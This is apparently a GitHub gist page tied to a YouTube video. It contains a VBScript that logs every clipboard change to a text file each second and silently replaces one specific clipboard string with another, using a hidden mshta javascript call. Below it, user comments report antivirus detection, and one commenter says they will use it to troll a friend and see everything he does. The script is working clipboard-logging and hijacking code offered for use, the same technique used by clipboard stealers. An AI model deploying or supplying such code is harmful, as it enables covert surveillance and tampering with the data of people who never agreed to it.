Last active
July 19, 2024 08:28
-
-
Save FlyTechVideos/74e199c13596c18a250110f865f972b6 to your computer and use it in GitHub Desktop.
As seen here: https://www.youtube.com/watch?v=_kUffQbsaaE
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Set objFS = CreateObject("Scripting.FileSystemObject") | |
outFile = "clip.txt" | |
oldClip = "" | |
Do | |
newClip = ClipBoard(Null) | |
If newClip <> oldClip Then | |
Set objFile = objFS.OpenTextFile(outFile, 8, True) | |
objFile.Write "############" & vbCrLf & ClipBoard(Null) & vbCrLf | |
objFile.Close | |
oldClip = newClip | |
If newClip = "Sub to Mosquito!" Then | |
ClipBoard("Sub to Fly!") | |
oldClip = "Sub to Fly!" | |
End If | |
End If | |
WScript.Sleep(1000) | |
Loop | |
' Stolen from https://stackoverflow.com/a/48548411 | |
Function ClipBoard(input) | |
'@description: A quick way to set and get your clipboard. | |
'@author: Jeremy England (SimplyCoded) | |
If IsNull(input) Then | |
ClipBoard = CreateObject("HTMLFile").parentWindow.clipboardData.getData("Text") | |
If IsNull(ClipBoard) Then ClipBoard = "" | |
Else | |
CreateObject("WScript.Shell").Run _ | |
"mshta.exe javascript:eval(""document.parentWindow.clipboardData.setData('text','" _ | |
& Replace(Replace(Replace(input, "'", "\\u0027"), """","\\u0022"),Chr(13),"\\r\\n") & "');window.close()"")", _ | |
0,True | |
End If | |
End Function |
wait wat flytech is on?
hai
Windows is so dangerous...
Thanks for the script)
WinDef detect this as a virus lol.
Anyway, thanks for the script.
It says 'Permission Denied' how do i fix this?
it says permission denied probably because windows defender or any other antivirus deletes it
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
nice ill now troll my friend AND see everyting he does xd